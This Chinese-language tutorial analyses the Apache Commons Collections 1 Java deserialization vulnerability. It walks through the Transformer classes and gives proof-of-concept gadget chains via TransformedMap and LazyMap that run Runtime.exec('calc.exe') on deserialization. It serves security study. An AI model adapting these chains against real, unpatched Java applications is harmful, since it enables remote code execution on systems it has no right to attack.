通俗易懂的Commons Collection 1分析
字数 1029 2025-08-03 16:45:11
Apache Commons Collections 反序列化漏洞分析(CC1)
前言
Apache Commons Collections是Java中广泛使用的库,许多知名Java应用如Weblogic、JBoss、WebSphere、Jenkins等都使用了这个库。Commons Collections反序列化漏洞是Java安全学习中的重要内容。
环境搭建
- JDK版本:1.7
- Commons Collections版本:3.1
- Maven依赖配置:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
关键类和接口
Transformer接口
public interface Transformer {
public Object transform(Object input);
}
ConstantTransformer类
public class ConstantTransformer implements Transformer, Serializable {
public ConstantTransformer(Object constantToReturn) {
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}
InvokerTransformer类
public class InvokerTransformer implements Transformer, Serializable {
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
}
ChainedTransformer类
public class ChainedTransformer implements Transformer, Serializable {
public ChainedTransformer(Transformer[] transformers) {
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}
TransformedMap类
public class TransformedMap extends AbstractInputCheckedMapDecorator {
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
// 会在put/setValue时调用transform方法
}
LazyMap类
public class LazyMap extends AbstractMapDecorator {
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
// 在get方法找不到值时调用transform方法
}
漏洞利用链分析
基本利用原理
通过构造特殊的Transformer链,在反序列化过程中触发transform方法的调用链,最终执行任意命令。
命令执行Transformer链构造
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
这条链等价于执行:
(((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)).exec("calc")
两种利用方式
1. TransformedMap利用链
触发点:通过AnnotationInvocationHandler的readObject方法触发TransformedMap的setValue方法
POC代码:
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx"); // 必须包含"value"键
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
// 序列化和反序列化触发
限制条件:
- 仅适用于Java 8u71之前的版本
- Map中必须包含键名为"value"的元素
- 第一个参数必须是Annotation的子类且包含至少一个方法
2. LazyMap利用链
触发点:通过动态代理触发AnnotationInvocationHandler的invoke方法,进而调用LazyMap的get方法
POC代码:
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
// 创建代理对象
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler);
// 再次用AnnotationInvocationHandler包装代理对象
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
// 序列化和反序列化触发
优势:
- 不需要在Map中添加特定键值
- 利用动态代理机制触发
漏洞修复
在Java 8u71之后,sun.reflect.annotation.AnnotationInvocationHandler的实现发生了变化,导致上述利用方式失效。
总结
CC1漏洞的核心在于利用Commons Collections中的Transformer链在反序列化过程中执行任意代码。理解这个漏洞需要掌握:
- Java反序列化机制
- Commons Collections中Transformer的设计
- 动态代理机制
- Java反射机制
通过分析TransformedMap和LazyMap两种利用方式,可以深入理解Java反序列化漏洞的利用技巧。